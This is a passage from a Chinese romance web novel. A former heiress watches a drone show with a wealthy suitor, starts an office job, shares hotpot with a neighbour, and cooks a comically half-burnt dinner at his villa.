“不用觉得抱歉,你做得很好。”季潭笑着说,“陈大小姐刚才那么威风,不得多吃点补补?”
说罢招来了服务生,淡声道:“麻烦把冷菜撤下去,让重新做一份上来。”
“好的。”服务生小心翼翼道,“很抱歉打扰到您用餐,我们可以送一道特供甜品,您看需要吗?”
陈结君来了兴致,她记得这家店有个蓝莓慕斯蛋糕做得很好,便有点期待:“可以送蓝莓慕斯蛋糕吗?”
“很抱歉,这款已经卖完了。”服务生连说了好几句不好意思,道,“还有水果香蕉船和草莓芋圆冰。”
陈结君正要开口,就听见季潭道:“那就要个草莓的,她吃不了香蕉。”
陈结君惊讶,“你怎么知道?”
她吃香蕉会过敏,所以从来不吃含有香蕉的东西,只是这点小事只有她身材亲近的朋友才会留意,没想到季潭居然也知道。
“以前听说过。”
两人吃完这顿饭已经将近十点,明天一早还要上班,陈结君眼看差不多了,率先开口:“那,咱们回去了?”
季潭看了眼手表,他一晚上已经看了好几次手表。
“再等十分钟,可以吗?”
陈结君看了眼手机,十分钟后刚好十点,她也不差这几分钟,只是觉得奇怪,还以为他频繁看手表是想走,怎么反而要多等几分钟,难道他是数字强迫症?
陈结君心里这么想着,只好赔笑和他多聊几句,心想还好今天的学习任务完成了,自从
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拿到第一张证,她的学习动力越来越大,现在已经很轻松就能完成学习计划,系统也安静了不少。
季潭带着她到二楼的露台上,这里环境不错,到处点着星星灯,是个浪漫场所,但门口有保安守着,似乎不是所有人都能来的地方。
陈结君看向靠在栏杆处的季潭,风吹起他的碎发,露出光洁漂亮的额头,这男人的脸型实在是万里挑一,被风吹成大背头也只是让他看起来更有气场,陈结君心里有点忐忑,不知道他想干什么。
这地方,有点暧昧了吧?
她看了眼季潭,小声问:“那个,季总,我们来这里做什么?”
“等会你就知道了。”
陈结君抿唇,只得学他靠在栏杆上,百无聊赖地看着地上的人。
将近十点时,楼下的人渐渐多了起来,陈结君往下看,发现他们都抬头看上空。
就连附近落地窗前的人都多了起来,只是没人进来二楼露台,总感觉有什么表演。
陈结君看这阵仗,扭头问季潭:“今晚有什么活动吗?”
“开始了,看上面。”季潭抬手指了指远处。
陈结君抬头,原以为是烟花,没想到居然是无人机表演。
表演在他们的上方,这里是最佳观景点。
无人机表演不算稀奇,刚推出的时候,她也兴致勃勃地看过几次,只是这次好像不太一样。
天空成了一块巨大的幕布,漫天星光汇聚成银河,又像流动的彩带,在这块温柔的幕布上尽情挥洒,变幻出万千模样。
陈结君看得目不转睛,在今天以前,她没想到无人机还能这样玩,这完全是一场视觉的盛宴,不输璀璨的烟花。
表演结束后,她仍意犹未尽,抬头对上季潭的目光,他眼底似有一闪而过的温柔。
应该是她看错了,晚上风凉,陈结君紧了紧脖子上的围巾,笑着说:“好漂亮啊,谢谢你让我看到这么精彩的表演。”
“嗯。”
季潭低头,她今天穿的是毛衣外套,没有口袋,垂在身侧的手被冻得泛红,他眸光微动,抬手想要脱下外套,却听她笑着问:“你怎么会想着带我看这个?是顺道的吗?”
他抓着外套的手一僵,低头看她。她的眼睛一直清澈漂亮,直透人心,这样一双眼睛此刻却带着几分试探警惕,她在紧张吗?
季潭看着她,心渐渐沉了下去,如果他说了什么暧昧的话,会就此被划清界限吗?
从前父母尚在,他可以成为令所有人满意的继承人,后来突生变故也没能让他停止向上的脚步,不努力就会死,在国外那几年,他的书桌上贴着这句话,他就靠着这句话和回来见她的念想一直走到现在。
他自认是个一往无前的人,唯独在陈结君面前,他总想藏一藏,想以最完美,最好的姿态出现在她面前,害怕她知道自己的心思后感到为难,甚至躲闪。
毕竟让她情窦初开的另有其人,季潭心里太清楚了,她从没有正视过他,更别说喜欢他。
陈结君见他盯着自己不说话,心里越发不安,抬手在他面前挥了挥,轻声道:“季总?”
25. 新手厨娘,在线接单
即便心里知道她不会喜欢他,但听见她的称呼,季潭还是忍不住自嘲地笑了一下。
“这是一个子公司设计的演出,今天只是演练,春节那晚可能会在市中心表演。本来今晚预计吃完饭的时间是八点,没想到拖到九点多,就顺道带你来看看。”他说完,似在观察她的反应,补了句,“是不是耽误你的时间了?”
陈结君松了口气,笑着说:“没有没有,能看到这么精彩的表演,是我赚了!”
难为他特意解释这么多,估计也是怕她误会,还好他不是那个意思。
把话说开了,她也没有心理负担,两人往外走时氛围好了许多。
“拿一杯热牛奶。”出来时,季潭对守在门口的保安说。
陈结君问:“你经常来吗?”
她以前好像没在这里遇见过他。
“没有,因为这个活动才打了交道。”其实也只是孟鑫替他和酒店联系的,他本人实在太忙,顾不上这些小事。
只是看了她的朋友圈,很为她开心,就想带她出来庆祝一下,出门前他还犹豫了许久,怕她多想,更怕她拒绝,好在一切顺利。
服务员端来了热牛奶,陈结君把纸杯捧在手里,牛奶的温度刚刚好,就像捧着一个暖手宝一样。
她摩挲了会,心情也变更好了。
回到家已经是晚上十一点半,还好这个点不算太堵车,她快速洗完澡,把自己投射到床上,躺着不动了。
虽然累,但还挺开心的。
她躺在床上发了会呆,季潭就给她发了消息。
“睡了吗?”
陈结君想了想,如实回复:“还没,但马上要睡了,你也早点休息。”
“晚安。”
她回了个可爱的表情包,锁屏睡觉。
第二天一早,陈结君顶着鸡窝头爬起身,丧尸似的洗漱完毕,化了个简单的妆容就出门了。
幸好租住的地方离地铁站近,走路就五分钟。她看了眼时间,不禁加快脚步,这是上班第一天,她可不想迟到。
这是她第一次体会早高峰的地铁,每一趟车都挤得满满当当,没有能下脚的地方。
她实在挤不上去,就这么眼睁睁放过了两辆车,眼看再上不去就要迟到了,她在打车和地铁之间纠结了会,咬咬牙挤上第三辆车。
她运气还算不错,恰好一个靠在角落的女孩要下车,她眼疾手快占了那个位置,至少不会腹背受敌。
这趟车是朝市中心开的,沿途上来的人不少,直到完全挤不上了,陈结君的位置也被挤占了一半,她感觉自己快缩成一只虾干,开门时还要被一阵阵的凉风冻得瑟瑟发抖。
比她更惨的是旁边那姑娘,她亲眼看着她的脸被挤得贴在玻璃,下车后那块玻璃留了块显眼的粉底印子。
造孽啊!
陈结君悲痛又艰难地举起手机,拍下这地狱般的一幕,正想发朋友圈,又怕被那帮捧高踩低的二代们嘲笑,就没发出去。
迟早把这帮狐朋狗友删了!
好在越接近市内,下车的人就越多,她也终于能喘口气,地铁速度还算快,四十分钟后她下了车,踩着点进的公司。
他们的公司在二十楼,地方不大。陈结君在前台遇见了一起面试的龙铃,对方看见她很惊喜,得知她们不是一个组时显得有些失落,看得陈结君忍俊不禁。
陈结君被分到项目组,主要工作是当组长的助理,组长是个不苟言笑的中年男人,对她淡淡点了点头就出去了,应该是去了工地,直到下班都没回来过。
陈结君在公司无所事事,就帮忙做些复印扫描的小事,感觉像打开了新世界的大门,一天下来竟然学到了不少东西。
公司不包吃,她回家路上顺道去了菜市场,小橘上回告诉她,这里买菜比超市便宜,她站在遍地脏水的市场门口,两秒钟后头也不回地奔向超市。
拎着一大袋东西回到小区,天色已经暗下来了,保安亭微弱的灯光下,小橘穿着厚棉服,正蹲在那看猫。
陈结君走过去,拍了下她的肩膀,随手拿出一根棒棒糖,“给你。”
“不用了,我不吃糖。”小橘把脑袋摇得像拨浪鼓,一双眼睛瞪得圆圆的。
真的很像小猫。
陈结君把糖塞进她的口袋,在她旁边蹲下,道:“怎么今天这么晚才来看猫?”
“谢谢。”她把手揣进衣兜,顿了顿,小声道:“今天有事耽误了。”
“哦,这样啊。”陈结君低头,见猫猫们挤在一起,抬手拍开一只争食的恶霸肥猫,那猫很不服气,冲她龇牙咧嘴的,但没敢冲上来,生气地走掉了。
陈结君心情很好,胳膊轻轻碰了碰小橘,问:“今晚过来吃火锅吗?”
陈结君见她犹豫,撇撇嘴道:“就我一个人,听说自己吃火锅是世上最孤独的事情之一,你也不忍心看我这么惨吧?”
小橘笑了,“当然不忍心。”
半小时后,陈结君站在洗手盆前洗菜,看了眼一旁切菜的小橘,惊叹道:“你刀功这么好啊!”
“刀功?”小橘反应了会,问,“你是说我会切菜吗?”
“对啊,你这土豆片切得多匀称,我要是有这本事就好了。”
小橘只是腼腆地笑笑:“切得多就熟练了。”
陈结君的目光从漂亮的土豆移到她的手上,这么一看才发现,小橘的手很粗糙,手上还有好几道划伤,没来得及细看,小橘已经把手缩了回去。
她笑得有些勉强:“我老家在大山里,小时候帮忙干活时候留下的疤。”
陈结君听完恨不得给自己两个大耳刮子,没事盯着人家的痛处看干什么!她笑道:“没事,你已经走出大山了,我认识一个医生,她治外伤很有经验的,下回让她给你看看。”
那是她的家庭医生,她小时候摸爬打滚像个男孩似的,没留疤全靠这位医生的妙手。
“好啊。”小橘笑笑,怕她觉得愧疚,安慰道,“全靠当年吃的苦,我虽然还没找到工作,但接了些兼职,可以上门帮别人做饭,老板人好,还会让我打包一点回来吃,又能赚钱,一举两得。”
“这不就是私厨吗?”陈结君瞪大眼,“你太厉害了,私厨很贵的!”
以前陈家请来的私厨,每个月基本工资就是五位数了。
“不是你想的那种私厨。”小橘想了想,解释道,“应该叫做饭阿姨吧?就是去人家家里做饭,一顿饭给八十块辛苦费。”
“这活不错诶,一顿饭八十块,还能锻炼厨艺,太完美了!”
小橘提议道:“你也可以去试试,我可以推荐老客户给你。”
“也行,不过客户就别推荐了,我怕砸了你的招牌。”她还是很有自知之明的。
火锅热腾腾的,陈结君夹了块肥牛蘸着麻酱塞进嘴里,舒服地吐出一口气,这简直是人生中最幸福的时刻。
“原以为火锅是最不费心的美食,没想到这底料被你加工后,比原来的还要香!”陈结君道,“下回给你介绍个老头,他一定会喜欢你的!”
小橘手一抖,刚夹起的丸子掉了回去,油溅到她的手背上。
吓得陈结君赶忙放下碗筷,拿纸巾要帮她擦手,小橘笑着拦住了她,“没事,就一个小油点,不疼的。”
陈结君站起身就要拉着她往厨房走,“快,去冲一下水。”
“真没事。”小橘把手收回来,取了张纸巾轻轻擦掉红油,抬起头朝她笑,“真没事,这点伤药都不用抹,很快就会好的。”
陈结君没想到自己一时口快,吓得人家伤
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了手,这会跑到药箱里翻来翻去,找了半天才找出烫伤膏给她,“对不起啊,我不是那个意思,我说的那个老头是一个很有名的厨师,虽然嘴毒,但人不错的,你的厨艺这么好,他一定会聘用你的。”
小橘抹药的手顿了顿,摇头道:“你不用道歉,是我自己不小心烫到的。”
她抹完把药膏还给陈结君,陈结君推了回去,道:“我这还有,这支你拿回去用吧。”
小橘没有推辞,蹲在一旁和她一起收拾药箱,这还是陈结君第一次开药箱,没想的放了这么多种类多药物,塞得满满当当。
小橘也有些震惊,问:“你平时存这么多备用药啊?”
“不是我准备的,是我妈妈让人带过来的。”陈结君有些感动,陈母当时送药过来,只说给她留着备用,没想到里面的药这么齐全,一定费了不少心思。
“真好。”小橘侧头看她,第一次对她露出羡慕的眼神,“你妈妈对你真好。”
陈结君合上药箱,笑道:“是啊,所以我要努力赚钱,以后多些时间好好陪陪她,还有我爸。”
“你是独生女吗?”
“不是哦,我还有个……妹妹。”她笑容一顿,也不知道陈结梅在家过得怎么样了,上次在张尔尔的生日宴上听别人提了几句,说她畏畏缩缩的,不爱说话,想来还没适应新环境。
宣布离开陈家的第二天,陈结梅给她发过一篇小作文,她粗略看了眼,大意是她很开心能成为她的妹妹,希望她回家一起陪陪父母之类的话,看不出真心还是假意,陈结君看过就算,她还有自己的事要做。
那天以后,陈结梅也没再给她发过消息。
但她心里还是认同这个妹妹的,至于那个和她血脉相连的所谓弟弟,在她心里和陌生人没有两样。
“你呢?”陈结君回过神,问她。
小橘低下头,“我有个哥哥,还有一个妹妹,两个弟弟。”
陈结君瞳孔地震,这当年得罚不少钱吧,在话刚要说出口时,她为数不多的情商突然闪现,到嘴的吐槽急转弯:“你家,人丁还挺兴旺的。”
“是啊,但就像你说的,我已经靠自己的努力走出来了。”
“没错!”陈结君倒满两杯可乐,举杯道,“敬你走出大山,敬我们前程似锦!”
小橘抿唇笑了,嘴角露出一个浅浅的梨涡。
陈结君如发现新大陆般,伸手在她的脸上轻轻戳了下,惊叹道:“你居然有梨涡!我慕了!”
她伸出两根手指,在嘴角两边一戳,哀怨地嘟囔道:“这可是我从小到大的梦想!梨涡和美人痣我总要有一样吧!”
小橘被她逗笑,认真道:“你已经很漂亮了,真的,而且很有气质,第一次见面的时候,我其实有偷偷猜测你是不是刚出道的明星。”
“我知道我好看啊。”陈结君摊手,理所当然道,“但有梨涡和美人痣的话,我会更好看的!”
小橘一时语塞,细想还真是这样,干脆举起杯子,笑道:“那祝你下辈子有梨涡也有美人痣!”
“下辈子太远了,敬这辈子吧,敬我们光吃不胖,早日暴富,越长越漂亮!干杯!”
这顿火锅吃了整整三个小时,小橘接了个电话,说是家里有事要先回去了,走时脸色有些苍白,还是她提醒才记得带上烫伤膏。
也不知道什么事这么急,她想着,明天得记得提醒小橘涂药。
陈结君坐在地毯上摸着圆滚滚的肚子,心情很复杂,这一顿的热量至少得运动半个月才能消耗掉。
她发了会呆,突然想起小橘说的兼职,赶紧拿起手机发了条朋友圈:新手厨娘,在线接单(只接晚饭,食材自备。)
两分钟后,放在沙发上的手机屏幕亮了一下。
季潭:接。
26. 酸酸的
那会陈结君正在收拾饭后残局,等她看到消息时已经将近十一点,给她发消息和评论的人不少,但她不知怎么,就是一眼看见了季潭的。
可能是财富的光辉如吸铁石般吸引了她的视线。
季潭:什么时候开始接单,我可以准备食材。
季潭:睡了吗?
陈结君想了想,回他:什么食材都可以吗?
回完消息本想去冲凉然后刷题,哪知刚放下手机,屏幕又亮了。
季潭:嗯。
真是惜字如金。陈结君拿着手机往冲凉房走,给他回消息:那好叭。
想了想,她又多打了一句话:食材不接受垫付哦。
“食材我会先准备好,但薪资能先欠着吗?”
陈结君无语,还好她本就不打算收费,她急着冲凉,指尖敲得飞快。
富婆君(自力更生版):无偿做饭,但需要签一个免责条款。
季潭:什么免责条款?
富婆君(自力更生版):如客户身体出现任何不适,与厨师无关,厨师无需承担相应责任。
深蓝科技的高层会议室里,季潭西装革履,透亮的黑瞳倒映着屏幕里的那行字,不自觉勾起嘴角。
五分钟后,市场部的部长忐忑地汇报完毕,季潭总结了几句,道:“今天的会议到此为止,各位辛苦了,等忙完这段时间,该休假的休假,该拿的奖金绝不会少。”
会议室一片欢呼。
研发部的部长跟在孟鑫身后走出会议室,低声道:“老板今天遇见什么好事了?”
孟鑫笑道:“可能是产品进展顺利吧。”
待人走后,他回头看了眼还坐在位置上在盯着手机的老板,想也知道他在跟谁聊天。
孟鑫等了会,默默拿出手机拍了张照片。
没什么,就想留下卷王被钓成翘嘴的名场面。
在季潭出会议室前,他顿了顿,打开朋友圈发了这张图,并熟练地配上文案:老板辛苦了。
这边陈结君从浴室出来,看了眼手机,季潭回了个“好”。
她也回了简短的两个字:吃什么?
季潭回消息的速度很快:你来安排。
富婆君(自力更生版):时间?
季潭:都行
富婆君(自力更生版):地址?
对方很快发来地址,陈结君一看,好嘛,青城最好的地段,她一点也不酸。
陈结君退出聊天,打开朋友圈随手刷了刷,居然看到季潭的照片。
他这么闲?
陈结君仔细一看才发现发这张照片的人是孟鑫,文案很狗腿,但照片拍得不错,不知道的还以为是哪个男模。
她欣赏了一会,随手点了个赞。
看了会二代们纸醉金迷的朋友圈,她把手机倒扣在桌上,刷课去了,晚点还要整理一下之前考证的经验,把她的账号经营起来。
这边季潭的目光终于离开手机,提步踏出会议室,孟鑫连忙收起手机跟上。
“吃宵夜吗?”
孟鑫埋头跟在后面,还以为听错了,猛地抬头发现季潭不知何时停下脚步,目光凉凉地看过来。
孟鑫被冻得一个激灵,忙回答道:“吃!”
老板请客哪有不吃的道理!他试探道:“您想吃什么?”
果然季潭随口道:“都行。”
孟鑫趁机推荐道:“附近有家新开的茶楼不错,人气很旺。”
“行,走吧。”
成了!孟鑫在内心给自己疯狂点赞,那家茶楼吃一顿能抵他半个月的奖金,他一直舍不得去,今晚不带上1T的胃吃个过瘾他就不姓孟!
不过,他抬头看了眼走在前边的老板,跟着季潭这么多年,这还是第一次见他加班后去吃宵夜。
看来老板今晚心情真的很不错,不知道跟陈小姐聊了什么。
季潭今晚心情确实不错,他和陈结君的约定只有半年,现在已经过去将近一个月,他正愁找不到理由在她面前刷脸。
这下好了,明天就能见面,往后的每天都有理由见面了,想到这,他默默点开手机屏幕,先是看了遍两人的聊天记录,然后打开朋友圈想看看她有没有发什么,结果这一看,就在孟鑫朋友圈的一堆点赞里,一眼认出了陈结君的头像。
孟鑫哼着歌点火,车子刚开出车库,就听见身后的老板沉沉地喊了他一声:“孟鑫。”
“唉,您有什么吩咐?”他心情正好,语气比平时更轻快些。
“她为什么给你点赞了?”
如果是喊他名字时只是语气略沉,这会已经是咬牙切齿了。
“什么?谁?”孟鑫茫然地看了眼后视镜,季潭神情淡淡,周身的气场却逐渐冷冽。
季潭没回答他,扭头看向窗外,“调头。”
“去、去哪?”
“你说呢?”
孟鑫还没来得及心疼那顿宵夜,就调头往季潭家的方向开。
一路上季潭没再开口,他偷偷瞄了眼后视镜,见他浓眉拧起,盯着手机不知在想什么。
除了季老爷子外,能让季潭有如此大情绪波动的人有且只有一个了。
借着等红灯的间隙,他背着后座悄悄打开手机,虽然早有预料,在亲眼看到陈结君的赞时,他悬着的心还是死了。
季总……醋劲还挺大啊。
不过就是点个赞,至于破防吗?他在内心疯狂吐槽,但转念一想,老板出国几年,归来仍是光棍,好不容易看上一个,醋劲大也是可以理解的。
作为总裁助理,自洽是他的特长。
孟鑫深吸一口气,一边开车一边尽量自然地开口道:“对了老板,您上次让我给陈小姐装门的事已经办妥了,为了方便沟通安装的事,陈小姐就加了我的微信……”
“她怎么说的?”
孟鑫打起精神,道:“我说季总费心挑选了安全的门,还亲自交代我要及时送过来,陈小姐很惊喜,说一定会向您道谢。”
季潭面色稍霁,她的确道谢了,当天就给他发了条消息,很官方的感谢之言,他看了只觉得见外。
他的朋友圈还停留在那张图书馆照片,她没有点赞。
季潭静静看着那张照片,第一次察觉,不是光用“未婚妻”三个字把她绑在身边就行了。
要让她在意他,看见他,他们才会有未来。
车已经到别墅门口,季潭仍坐在后座,盯着手机不知在想什么。
孟鑫心里苦,因为陈大小姐一个点赞,他第一次拍马屁拍到了马腿上,好在这张朋友圈的配图是他家老板,他小心翼翼开口:“老板,我的朋友都夸你帅呢,连陈小姐也点赞了,她以前从来不给我点赞的,肯定是被您的照片帅到了!”
季潭回神,看了他一眼,丢下一句“注意安全”就下车了。
孟鑫松了口气。
曲水别墅内,季潭穿着家居服,头发未干,他坐在电脑前,手边放着一本崭新的笔记本。
他坐了好一会,翻开笔记本,打开电脑搜索:不是心上人的理想型怎么办?
暖光下,男人认真地看着电脑屏幕,时不时提笔速记。
与此同时,青城的另一处老旧小区中,盘着丸子头的女孩也对着电脑奋笔疾书。
系统躲在暗处默默点头,这怎么不算双向奔赴呢?
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它有点想磕了。
第二天一早,陈结君又是踩点到的公司,刚到工位就发现桌上放了一杯咖啡和一份早点,她一愣,看向对面工位的龙铃。
果然见她朝自己眨眨眼。
陈结君低头给她发消息:谢了,多少钱我转你。
叮铃铃铃:不用啦,请你吃!
陈结君想了想,回道:那明天换我请你吧。
龙铃发了个开心的可爱表情包,陈结君正要问她想吃什么,肩膀被人拍了一下,她扭头看去,是个年轻女人。
“你就是新来的小君吧?”女人伸出手,指甲贴着的粉钻在灯光下发着光,“我叫明欣,跟你一个组的。”
“你好。”陈结君友好地伸手与她相握。
明欣是艳丽的长相,妆容精致,穿着一身粉色职业装,陈结君认出是某个牌子的套装,一套也要小几千。
她笑起来很有亲和力,说话也温柔:“我也是助理职位,昨天跟着杨组长去了工地,所以没见着面,以后多多指教。”
陈结君有些意外,一个组长配两个助理?她面色如常,和明欣客套了几句就回去干活了。
回到工作用手机搜了下杨组长的大名,居然是省内有名的工程师,怪不得要配两个人。
说曹操曹操到,杨组长背着手进来了,路过他们时,大家都点头打了招呼,杨组长目不斜视地略过陈结君,对明欣道:“准备一下,十点到会议室开会。”
龙铃远远朝她比了个加油的姿势,陈结君笑笑,坐回工位。
大家都在一起办公,他们组的奇怪氛围很快被旁人注意到,成熟的牛马往往只需一个对视就能明白彼此的意思,一上午已经有好几个人相约茶水间来。
陈结君靠在茶水间转角处,淡定地听他们唠嗑。
“杨组开口闭口都是明欣,我看这个新助理最后只能给明欣当跳板了。”
“这女孩挺机灵的,刚来第一天就和我们都打了招呼,人长得漂亮,气质又好,说不定后面会翻身呢?”
“听说她和烟姐认识,也不知道真假。而且长得确实漂亮,刚才她和明欣站一起,居然把明欣给比下去了。”
“漂亮有什么用,人家杨组长向来只看能力,不看颜值。”
“也是,明欣不仅漂亮,能力也很出众,但如果她真是烟姐带进来的,那谁是谁的跳板还不一定呢。”
“得了吧,杨组那脾气,想让他改观可不容易。”
陈结君听得无聊,她初来乍到,不被看好很正常。明欣本就是杨组长用惯的,她给人家打打下手也能学到点东西,不吃亏,怎么这话到他们嘴里,她和明欣之间就成了踩和被踩的关系了?
听他们聊天还不如刷题有趣,她没了耐心,光明正大走进茶水间,如愿听见周遭一片寂静。
其中一人反应最快,尴尬地笑笑,问:“喝咖啡啊?”
“嗯。”陈结君也若无其事地弯唇,大大方方接咖啡去了。
很可惜不是所有人都这么想的,午饭时,明欣过来邀请她一起,陈结君拒绝了,明欣的笑容就变得有些微妙起来。
“小君,你是不是有什么心事?”
不一起吃饭就是有心事?陈结君奇怪地看她一眼,但还是耐心道:“没有啊。”
“咱们是一个组的,有什么不开心的可以告诉我。”明欣拍了拍她的肩膀,目光是恰到好处的担忧。
看来她也听说了那些传言,陈结君明白她的好意,解释道:“真没事,只是我已经跟别人约好了。”
明欣如释重负,“这样啊,那下次一起,我知道有家泰国菜很好吃,到时带你去。”
“好啊。”
27. 你在雕花吗
“君姐,吃这个。”
陈结君看看龙铃空了一半的碗,又看看自己堆成小山的碗,无奈道:“我吃不了那么多。”
“你太瘦了,应该多吃点。”龙铃看她一眼,小声道,“别在意那些人的话,都是吃饱了撑的。”
怪不得一个劲地夹肉过来,原来是想安慰她,陈结君笑笑,夹一大块肉放回她碗里,道:“放心,我听过更过分的话,这点事无关痛痒。”
“君姐……”
不知道脑补了什么,龙铃好像更同情她了,陈结君哭笑不得,拍拍她的肩膀道:“专心吃饭。”
又是清闲的一天。
陈结君第一个踏出公司,朝地铁站走去,这里离曲水别墅只有两个站的距离,但出地铁后还要走一公里,不知道别墅区附近有没有共享单车。
她在心里嘀嘀咕咕,余光瞥见一辆黑色的车停在面前,她抬起头,正巧对上那双深不见底的墨瞳。
“上车。”
陈结君俯身钻进副驾驶,最近坐季潭顺风车的频率有点高,他亲自开车倒是少见,她没话找话:“孟助理呢?”
“你上我的车就为了找他?”
这是什么话,陈结君道:“他一直跟在你身边,这次没看到有点意外,随口问问。”
“他替我办事去了。”
车内一阵沉默,陈结君挪挪身子,感觉有点尴尬。她和季潭真正的独处不多,那天吃饭还能聊聊她入职的公司,这会是真没啥可说的。
反倒是季潭先打破沉默,“新工作怎么样?”
“还好,我一个新人没什么经验,毕业后也没有从事相关专业,大事找不上我,小事没必要找我。”陈结君笑道,“还挺清闲的。”
“不着急,慢慢来。”季潭不知从哪摸出个东西塞她手里。
他的手冰棱一般,冻得她一颤,下意识蜷起手指,再打开时,手心躺着一粒话梅糖。
“抱歉。”
陈结君侧头看他,男人开车的样子很好看,一手搭着方向盘,清冷的目光凝视前方,陈结君看着看着,目光不自觉转到他的脸上。
欣赏美色的愉悦心情逐渐变质,瞧这高挺的鼻梁,优越的下颌线,恰到好处的薄唇……还有这睫毛,比她的命还长,要是网上有卖季潭同款假睫毛,她高低得在家里囤一箱。
长得这么好看,不要命了。
陈结君满肚子酸水,撕开话梅糖放嘴里,嘟囔道:“谢了。”
忽然想起这不是他第一次请她吃糖,陈结君问:“你有低血糖?”
“偶尔。”
陈结君展开手里的包装纸一看,有点惊讶,“还真是这个牌子,我说怎么那么熟悉呢。”
季潭指尖轻轻敲了敲方向盘,问:“是你喜欢的牌子?”
“嗯,以前挺喜欢的。后来有一阵没吃,再想买的时候听说这个品牌经营不善,破产了,还挺可惜的。”
她说着翻到背面仔细看上头的蚊蝇小字,竟然还是那个厂家。
“这个牌子什么时候东山再起了?”她看了眼下方,发现公司名称改了,深蓝食品?
陈结君看向季潭,欲言又止。
深蓝科技什么时候进军食品行业了?
她不是个纠结的人,想问什么直接就开口了:“你打算做食品行业?”
季潭目视前方,语气平平:“暂时没这个打算。”
陈结君不信,商人无利不起早,他不是个做慈善的。她捏着包装纸朝他晃了晃,“那你买下这个品牌做什么?”
“日行一善。”
陈结君:“……”
季潭见她不信,缓缓道:“真的,我其实是个很善良的人。”
陈结君回忆了一下季潭回国后的各种操作,为了利益手段百出,甚至吞并了自家小叔的公司,短短一年时间就让青城的老古董们对他忌惮三分……
流言最夸张的时候,他的人在哪家公司出现,哪家公司都要闭门烧高香,求各路神佛管管这个小阎王,别把自家产业给吞了。
Emmmm……怎么看都更像一个伪善的人。
当然这话不好说,陈结君选择闭嘴。
话梅糖的酸甜在口中弥漫,她心情好了不少,竟一个不留神睡了过去,等再次睁开眼,车已经停下了。
这是一栋三层楼的别墅,陈结君跟在季潭后面东张西望,真够大的。
这房子不算室外面积,至少得有个三百平,比陈家的祖宅还要大些,这得是小区里的楼王吧。
一般这么大的房子都会请人管理,但陈结君直到进门也没发现有管家或家佣之类的人物出现,只有一个大长腿高冷男神站在吧台前回头看她,“温水还是咖啡?”
“……温水,谢谢。”
季潭倒了水给她,而后就一直坐在旁边的沙发上看书。
陈结君瞥了眼,满满的意大利文,她无趣地收回目光,开始打量起客厅来。
季潭家里的装修很统一,很像样板房,东西也少得出奇,只有吧台上摆放的各种咖啡豆和名酒才让这个家有那么一丁点的活人气息。
这么空旷寂静的地方,最适合发生一些诡异事件了。
也不知道他晚上一个人在家怕不怕,反正她是不想多待,陈结君喝了口温水,站起身指了指厨房,道:“我去做饭了。”
季潭似乎看入神了,没抬头也没有应声。
陈结君走进厨房,菜已经放在灶台上,冰箱里也冻了不少食材,这么多东西,估计又是他某个助理置办的。
今天要做的是咕咾肉和糖醋排骨,一道炒菜心再加上一份冬瓜排骨汤。
第一次给客户做菜,她不敢挑难度太高的,这两道菜的食材不贵,花姐还当着她的面做过好几次,陈结君还算有信心。
她先把需要用到的佐料准备好,再洗好冬瓜、排骨,该腌制的腌制,该炖汤的炖汤,一切都还算顺利,直到她洗好了菠萝。
陈结君低头看着案板上胖墩墩的菠萝,陷入了沉思。
这玩意不好切啊。
她之前看过视频教程,看起来很容易,直到亲自动手她才知道有多麻烦,横切不行,竖切也不行,按照核的路子切又不好掌握,不知和这个菠萝奋战了多久,终于切好了。
“你在雕花?”
陈结君一心扑在菠萝上,冷不丁身后传来声音,吓得她一个激灵,转身就见季潭不知什么时候走到厨房门口,双手环胸就这么靠着门,漂亮的双眼微眯,看着她手上的菠萝。
一个歪七扭八的菠萝。
陈结君赶紧放在案板上,手起刀落,菠萝身首异处。
“不是,我在切菠萝呢。”
季潭“嗯”了一声,迈开长腿走到她身后,垂眸看着案板上被连剁好几刀,不忍直视的菠萝。
他的靠近让陈结君不自觉屏住呼吸,感觉有种在工位上好端端的办公,大领导忽然停在你身后,还紧盯着屏幕的窒息感。果然在哪里打工都逃不掉被审视的命运。
大老板发话了:“切好了?”
“马上就好。”陈结君讪讪举刀,不管了,就
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当身后站了个木头桩子。
话虽这么说,手上的动作到底加快了不少,菠萝很快被碎尸万段,陈结君一边进行下一步,一边暗自庆幸,还好她已经记住了视频里的步骤,不至于当着季潭的面打开手机看教程,多少挽回点颜面。
季潭话不多,但存在感极强,陈结君当着他的面不自觉感到紧张,一顿饭下来打碎了一个盘子,两根汤匙,还差点把米饭弄洒了………可以说是颜面全无。
好在季潭情绪足够稳定,即使她错漏百出,花了整整三个小时才做好这顿饭,他也没有怪罪的意思,反而帮忙收拾善后。
菜端上来时,陈结君脸上的表情已经麻木。
季潭从她身后走出来,把两碗饭摆桌上,见她还傻站着,道:“愣着干嘛,吃饭。”
“不了,季总,那个你试试看合不合口味。”她说完,心虚地看了眼餐桌。
季潭觉得她过于紧张了,他皱起眉,问:“是我哪里做得不好,让你觉得不舒服吗?”
“不是不是。”陈结君不知道他怎么会这么想,解释道,“我是怕菜做得不好,除了炒菜心,另外两道菜我都是第一次做,如果有做得不好的地方,还望您海涵。”
说得这么夸张,不知道的还以为她做的是黑暗料理。季潭看着眼前的三盘菜,明明做得很好,只是咕咾肉有几块焦了点边,但不是大问题,她还是太谦虚了。
“你做得很好。”季潭鼓励她,筷子朝放在最远处的咕咾肉伸去,“你看这快肉……”
他夹起一块色泽诱人的咕咾肉,到嘴的话有点说不出口了。
那块肉表面光鲜,背里却是焦黑一片。他镇定地放下这快肉,转而夹起另一块,很好,背面依旧是焦黑一片。
季潭拿筷子的手顿了顿,转向另一盘糖醋排骨,人不能在一个坑里跌倒两次……才怪。
陈结君看着被季潭夹起的排骨,心如死灰。
早知道,就不煮要加糖的菜了。
谁知道需要加糖的菜容易焦呢?
季潭到底是见过大世面的,此刻还能镇定自若地把排骨放进自己碗里,缓缓道:“没关系,至少你成功了一半。”
陈结君欲哭无泪,不仅成功了一半,还都只成功了一半。
“要不,点外卖吧?”陈结君不忍看餐桌上那两盘狗都不吃的玩意儿,也不敢看季潭,目光对着虚空的客厅。
“不健康。”季潭看她一眼,道,“要不,我给你下碗面?”
陈结君哪敢让他老人家亲自动手,紧赶慢赶从季潭手下抢走那包方便面,舀了几勺冬瓜汤煮了,还好汤是成功的,她端着面条走出来,却见季潭正慢条斯理地吃着排骨,餐桌的纸巾上已经放了好几块骨头——他吃了没烧焦的部分。
这不是重点,重点是他居然吃了!
那她下面条的意义是什么?!
季潭没抬头看,头顶却好像长了眼睛似的,她只愣了几秒钟,就听见他道:“还不过来?”
陈结君应了一声,把面条放桌上,道:“面做好了,还是吃这个吧。”
